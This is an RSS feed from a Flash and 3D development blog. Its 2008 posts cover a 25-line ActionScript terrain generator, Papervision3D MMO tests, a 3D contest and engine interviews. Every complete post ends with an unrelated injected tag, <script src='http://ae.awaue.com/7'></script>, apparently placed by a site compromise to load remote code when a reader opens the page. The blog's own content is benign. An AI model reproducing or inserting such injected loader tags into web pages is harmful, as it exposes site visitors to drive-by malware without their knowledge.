<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FlashFuck.it &#187; 3D</title>
	<atom:link href="http://www.flashfuck.it/category/3d/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flashfuck.it</link>
	<description>flash platform, gaming and 3D</description>
	<lastBuildDate>Tue, 27 Apr 2010 12:53:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>My entry to Bit-101s 25 Lines competition</title>
		<link>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/</link>
		<comments>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 13:45:08 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Community]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[25lines]]></category>
		<category><![CDATA[contest]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=101</guid>
		<description><![CDATA[Yep, i made my submission to 25lines contest just few days ago (right in time   ), so (as Sakri did some days before me) I&#8217;m publishing my code. It&#8217;s an easy terrain generator&#8230;


Actually, I think it can be somehow improved both in lines of code and actual performances, so feel free to edit [...]]]></description>
			<content:encoded><![CDATA[<p>Yep, i made my submission to <a href="http://www.25lines.com/" target="_blank">25lines contest</a> just few days ago (right in time <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ), so (as <a href="http://www.sakri.net/blog/2008/11/19/my-entry-to-bit-101s-25-lines-competition/" target="_blank">Sakri did some days before me</a>) I&#8217;m publishing my code. It&#8217;s an easy terrain generator&#8230;</p>
<p><a href="http://www.flashfuck.it/wp-content/uploads/2008/11/25lines.jpg"></a></p>
<p style="text-align: center;"><a href="http://www.flashfuck.it/wp-content/uploads/2008/11/25linesbmpoptimized.swf" target="_blank"><img class="alignnone size-medium wp-image-102 aligncenter" title="25lines" src="http://www.flashfuck.it/wp-content/uploads/2008/11/25lines-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>Actually, I think it can be somehow improved both in lines of code and actual performances, so feel free to edit or tell me &#8220;you&#8217;d better to do that this other way&#8230;&#8221; <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>What&#8217;s going on is:</p>
<ul>
<li>generate a shape filled with a gradient to create a reference color for differents &#8220;height&#8221;</li>
<li>generate a perlinNoise everyframe for dataprovider use</li>
<li>detect each perlinNoise pixel depth according with its main channel value (blue in this case..)</li>
<li>generating a vector of Bitmaps to be employed in the view</li>
</ul>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p101code2'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1012"><td class="code" id="p101code2"><pre class="actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/**
 * 25-Line ActionScript Contest Entry
 *
 * Project: Random Terrain 3D Generator
 * Author:  Piergiorgio Niero (aka pigiuz) piergiorgio.niero[at]gmail.com
 * Date:    11/24/08
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the &quot;Software&quot;), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */</span>
&nbsp;
<span style="color: #808080; font-style: italic;">// 3 free lines! Alter the parameters of the following lines or remove them.</span>
<span style="color: #808080; font-style: italic;">// Do not substitute other code for the three lines in this section</span>
<span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">800</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">800</span>, <span style="color: #0066CC;">backgroundColor</span>=0xffffff, frameRate=<span style="color: #cc66cc;">24</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">align</span> = StageAlign.<span style="color: #006600;">TOP_LEFT</span>;
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">scaleMode</span> = StageScaleMode.<span style="color: #006600;">NO_SCALE</span>;
<span style="color: #808080; font-style: italic;">// 25 lines begins here!</span>
<span style="color: #000000; font-weight: bold;">var</span> _bd:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">50</span>,<span style="color: #cc66cc;">50</span>,<span style="color: #000000; font-weight: bold;">false</span>,0x0000FF<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _points:<span style="color: #0066CC;">Array</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _vxCont:Sprite = Sprite<span style="color: #66cc66;">&#40;</span>addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Sprite<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
_vxCont.<span style="color: #006600;">x</span> = _vxCont.<span style="color: #006600;">y</span> = <span style="color: #cc66cc;">400</span>;
<span style="color: #000000; font-weight: bold;">var</span> _vexels:Vector. = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2500</span><span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _hMap:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span>,<span style="color: #cc66cc;">1</span>,<span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _gradient:Shape = <span style="color: #000000; font-weight: bold;">new</span> Shape<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
_gradient.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">beginGradientFill</span><span style="color: #66cc66;">&#40;</span> GradientType.<span style="color: #006600;">LINEAR</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> 0x4267F9, 0xF9EAB0, 0x9EF07D, 0x8DF273, 0x9D5E1E, 0xFFFFFF <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">90</span>, <span style="color: #cc66cc;">105</span>, <span style="color: #cc66cc;">110</span>, <span style="color: #cc66cc;">120</span>, <span style="color: #cc66cc;">145</span>, <span style="color: #cc66cc;">185</span> <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> Matrix<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0.2456396484375</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0.0006103524625</span>,<span style="color: #cc66cc;">127.5</span>,.5<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
_gradient.<span style="color: #006600;">graphics</span>.<span style="color: #006600;">drawRect</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">255</span>,<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;
_hMap.<span style="color: #006600;">draw</span><span style="color: #66cc66;">&#40;</span>_gradient<span style="color: #66cc66;">&#41;</span>;
addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>,generatePerlinNoise<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> generatePerlinNoise<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	_bd.<span style="color: #006600;">perlinNoise</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">25</span>,<span style="color: #cc66cc;">25</span>,<span style="color: #cc66cc;">1</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #000000; font-weight: bold;">false</span>,<span style="color: #000000; font-weight: bold;">true</span>,<span style="color: #cc66cc;">4</span>,<span style="color: #000000; font-weight: bold;">false</span>,_points<span style="color: #66cc66;">&#41;</span>;
	Point<span style="color: #66cc66;">&#40;</span>_points<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">y</span>+=<span style="color: #cc66cc;">1</span>;
	<span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> v:uint=<span style="color: #cc66cc;">0</span>;v<span style="color: #66cc66;">&amp;</span>amp;lt;<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2500</span><span style="color: #66cc66;">&#41;</span>;v++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span> = <span style="color: #66cc66;">&#40;</span>_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>==<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>?generateVoxel<span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">&#41;</span>:_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>;
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">y</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">pow</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">%</span>50,<span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&amp;</span>amp; 0xFF<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">255</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">6</span>,<span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.24;
		_vxCont.<span style="color: #006600;">rotationX</span> = mouseY<span style="color: #66cc66;">*</span>.1;
		_vxCont.<span style="color: #006600;">rotationY</span> = <span style="color: #66cc66;">&#40;</span>_vxCont.<span style="color: #006600;">rotationY</span>-<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">90</span><span style="color: #66cc66;">/</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#40;</span>mouseX-<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #cc66cc;">45</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>.5;
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">bitmapData</span>.<span style="color: #006600;">floodFill</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,_hMap.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">%</span>50,<span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&amp;</span>amp; 0xFF<span style="color: #66cc66;">&#41;</span>,<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> generateVoxel<span style="color: #66cc66;">&#40;</span>v:uint<span style="color: #66cc66;">&#41;</span>:Bitmap<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> b:Bitmap = <span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5,<span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5,<span style="color: #000000; font-weight: bold;">false</span>,0x000000<span style="color: #66cc66;">&#41;</span>,<span style="color: #ff0000;">&quot;auto&quot;</span>,<span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
	b.<span style="color: #006600;">x</span> = v<span style="color: #66cc66;">%</span>50<span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #0066CC;">width</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5<span style="color: #66cc66;">&#41;</span>;
	b.<span style="color: #006600;">z</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> Bitmap<span style="color: #66cc66;">&#40;</span>_vxCont.<span style="color: #006600;">addChild</span><span style="color: #66cc66;">&#40;</span>b<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span>
<span style="color: #808080; font-style: italic;">// 25 lines ends here!</span>
&nbsp;
enjoy ;<span style="color: #66cc66;">&#41;</span></pre></td></tr></table></div>

<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Cows in chaos</title>
		<link>http://www.flashfuck.it/2008/10/06/cows-in-chaos/</link>
		<comments>http://www.flashfuck.it/2008/10/06/cows-in-chaos/#comments</comments>
		<pubDate>Mon, 06 Oct 2008 13:18:43 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[Isometry]]></category>
		<category><![CDATA[MMOs]]></category>
		<category><![CDATA[Papervision 3D]]></category>
		<category><![CDATA[PV3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=94</guid>
		<description><![CDATA[I&#8217;m digging into MMOs, now testing papervision2 cow model (unfortunately i&#8217;m not a modeler, but i&#8217;m a pretty good thief   ) and put it on my testing stage&#8230;here&#8217;s the result&#8230;40 COWS! quite good uh?  

Let me know how it runs on your machines  
Stay tuned  
]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m digging into MMOs, now testing <a href="http://www.papervision2.com">papervision2</a> cow model (unfortunately i&#8217;m not a modeler, but i&#8217;m a pretty good thief <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) and put it on my testing stage&#8230;here&#8217;s the result&#8230;40 COWS! quite good uh? <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://www.flashfuck.it/test/pv3d_isometry_02" target="_blank"><img class="alignnone" src="http://farm4.static.flickr.com/3230/2918740228_b3c8f49e00.jpg?v=0" alt="cows! :D" /></a></p>
<p>Let me know how it runs on your machines <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/10/06/cows-in-chaos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MMO Test with Papervision3D + Flash Player 10</title>
		<link>http://www.flashfuck.it/2008/10/03/mmo-test-with-papervision3d-flash-player-10/</link>
		<comments>http://www.flashfuck.it/2008/10/03/mmo-test-with-papervision3d-flash-player-10/#comments</comments>
		<pubDate>Fri, 03 Oct 2008 20:53:55 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[Isometry]]></category>
		<category><![CDATA[MMOs]]></category>
		<category><![CDATA[Papervision 3D]]></category>
		<category><![CDATA[PV3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=91</guid>
		<description><![CDATA[Here is my very first test on MMOs with Papervision3D on Flash Player 10 (needed to watch properly).

here&#8217;s the link http://www.flashfuck.it/test/pv3d_isometry_01/
this is just the beginning&#8230;it has to be tuned and refined but, yes, it can be done  
PS: I stolen the model somewhere on the web&#8230;please if it is yours don&#8217;t offend yourself, i [...]]]></description>
			<content:encoded><![CDATA[<p>Here is my very first test on MMOs with Papervision3D on Flash Player 10 (needed to watch properly).</p>
<p style="text-align: center;"><a title="pv3d_isometric_01" href="http://www.flashfuck.it/test/pv3d_isometry_01/"><img class="aligncenter" src="http://farm4.static.flickr.com/3190/2910715764_4d45e7ef03_m.jpg" alt="pv3d_isometric_01" /></a></p>
<p>here&#8217;s the link http://www.flashfuck.it/test/pv3d_isometry_01/</p>
<p>this is just the beginning&#8230;it has to be tuned and refined but, yes, it can be done <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>PS: I stolen the model somewhere on the web&#8230;please if it is yours don&#8217;t offend yourself, i stole it because it&#8217;s good <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  (anyway let me know so i can put your name somewhere <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  )<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/10/03/mmo-test-with-papervision3d-flash-player-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PaperKing Contest!!!</title>
		<link>http://www.flashfuck.it/2008/07/03/paperking-contest/</link>
		<comments>http://www.flashfuck.it/2008/07/03/paperking-contest/#comments</comments>
		<pubDate>Thu, 03 Jul 2008 08:09:41 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Papervision 3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/07/03/paperking-contest/</guid>
		<description><![CDATA[It&#8217;s PaperKing time!!!¬†  

A new contest has been lauched by pv3d guys. Just make an opensource &#8220;something&#8221; using Papervision3D framework and submit!
Deadline is 15th August&#8230;then a new PaperKing will sit on his 3D Throne  
Get here for more information  
stay tuned  
]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s PaperKing time!!!¬† <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p style="text-align: center"><a href="http://blog.papervision3d.org/2008/07/02/paperking3d-the-papervision3d-contest/"><img src="http://pv3d.org/img/paperking.png" height="183" width="400" /></a></p>
<p>A new contest has been lauched by pv3d guys. Just make an opensource &#8220;something&#8221; using Papervision3D framework and submit!</p>
<p>Deadline is 15th August&#8230;then a new PaperKing will sit on his 3D Throne <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Get <a href="http://blog.papervision3d.org/2008/07/02/paperking3d-the-papervision3d-contest/">here</a> for more information <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/07/03/paperking-contest/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flash 3D stress tests</title>
		<link>http://www.flashfuck.it/2008/06/26/flash-3d-stress-tests/</link>
		<comments>http://www.flashfuck.it/2008/06/26/flash-3d-stress-tests/#comments</comments>
		<pubDate>Thu, 26 Jun 2008 07:31:18 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash Player]]></category>
		<category><![CDATA[Flash Player 9]]></category>
		<category><![CDATA[Papervision 3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/06/26/flash-3d-stress-tests/</guid>
		<description><![CDATA[I just moved to my fresh new country¬† and started studing for my new job  
I&#8217;m trying to get a usual &#8220;virtual world&#8221; scene (such as second life&#8217;s) using (possibly free and open) as3 3D frameworks, so my first choice has been papervision3D.
Unfortunately I&#8217;m not a 3D modeler so I had to get models [...]]]></description>
			<content:encoded><![CDATA[<p>I just moved to my <a href="http://en.wikipedia.org/wiki/Switzerland">fresh new country</a>¬† and started studing for my new job <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I&#8217;m trying to get a usual &#8220;virtual world&#8221; scene (such as second life&#8217;s) using (possibly free and open) as3 3D frameworks, so my first choice has been papervision3D.</p>
<p>Unfortunately I&#8217;m not a 3D modeler so I had to get models from the web, anyway <a href="http://sketchup.google.com/3dwarehouse/">google sketchup warehouse</a> is a very good resource to collect DAEs (but remember they may be not parsable by ascollada).<br />
For the human model I&#8217;ve just &#8220;stolen&#8221; a walking girl from <a href="http://perso.numericable.fr/chamaslot/anim.php">3Dflasho</a>.<br />
&#8230;and <a href="http://www.flashfuck.it/vwtests/stadium/pv3d.html">here</a>&#8217;s what I got combining the 2 models: a girl walking in a stadium. (girl is automatically walking forward, just use left and right arrows to make her turn)</p>
<p style="text-align: center"><a href="http://www.flashfuck.it/vwtests/stadium/pv3d.html"><img src="http://www.flashfuck.it/wp-content/uploads/2008/06/pv3dstadium.jpg" alt="pv3dstadium.jpg" /></a></p>
<p style="text-align: center"><em>(note: textures are about 7 mb and the whole swf is very cpu intensive)¬†</em></p>
<p>Take a look to the profiler, you can notice that framerate is very low even on a very good machine (i had a value range from 12 to 18 with everything loaded and 26\28 for the girl only on a macbookpro 2.4ghz and flash player 9.0.124 debug).</p>
<p>Next steps for me are:</p>
<p>1) try the same models on Away3D and maybe on Alternativa</p>
<p>2) search for better models (expecially for the stadium which generates too many culling issues on the ground)</p>
<p>3) have a <a href="http://www.thinkgeek.com/caffeine/drinks/a273/">mana potion</a></p>
<p>I hope to get good news from papervision and away3d mailing lists about flash 10 implementations, expecially about both engines&#8217; drawing speed..in the while I&#8217;m going on with my tests <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/06/26/flash-3d-stress-tests/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FP 10 and 3D engines for flash platform &#8211; Ralph Hauwert and Rob Bateman</title>
		<link>http://www.flashfuck.it/2008/06/14/fp-10-and-3d-engines-for-flash-platform-ralph-hauwert-and-rob-bateman/</link>
		<comments>http://www.flashfuck.it/2008/06/14/fp-10-and-3d-engines-for-flash-platform-ralph-hauwert-and-rob-bateman/#comments</comments>
		<pubDate>Sat, 14 Jun 2008 10:55:33 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Away3D]]></category>
		<category><![CDATA[Papervision 3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/06/14/fp-10-and-3d-engines-for-flash-platform-ralph-hauwert-and-rob-bateman/</guid>
		<description><![CDATA[Here&#8217;s two big interviews. Guys from &#8220;Papervision Daily&#8221; and &#8220;Dreaming in Flash&#8221; (be sure to have both links among your bookmarks  ) had the good idea to take an interview from Ralph Hauwert (from Papervision3D core team) and Rob Bateman (from Away3D core team).
Both interviews are about what&#8217;s next to new Astro features and [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s two big interviews. Guys from &#8220;<a href="dailypv3d.wordpress.com">Papervision Daily</a>&#8221; and &#8220;<a href="www.dreaminginflash.com">Dreaming in Flash</a>&#8221; (be sure to have both links among your bookmarks <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ) had the good idea to take an interview from <a href="http://www.unitzeroone.com/blog/">Ralph Hauwert</a> (from <a href="http://blog.papervision3d.org/">Papervision3D</a> core team) and <a href="http://www.infiniteturtles.co.uk/blog/">Rob Bateman</a> (from <a href="http://away3d.com/">Away3D</a> core team).<br />
Both interviews are about what&#8217;s next to new <a href="http://labs.adobe.com/technologies/flashplayer10/">Astro</a> <a href="http://www.flashfuck.it/2008/05/16/flash-player-10-available-on-adobe-labs/">features</a> and what kind of benefits is <a href="http://labs.adobe.com/wiki/index.php/Pixel_Bender_Toolkit">PixelBender (AIF)</a> giving to their engines.</p>
<p>I highly suggest to take a look to those interviews, just to be aware of what&#8217;s going on <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>here&#8217;s the links:</p>
<ul>
<li><a href="http://dailypv3d.wordpress.com/2008/05/22/interview-with-ralph-hauwert/">http://dailypv3d.wordpress.com/2008/05/22/interview-with-ralph-hauwert/</a></li>
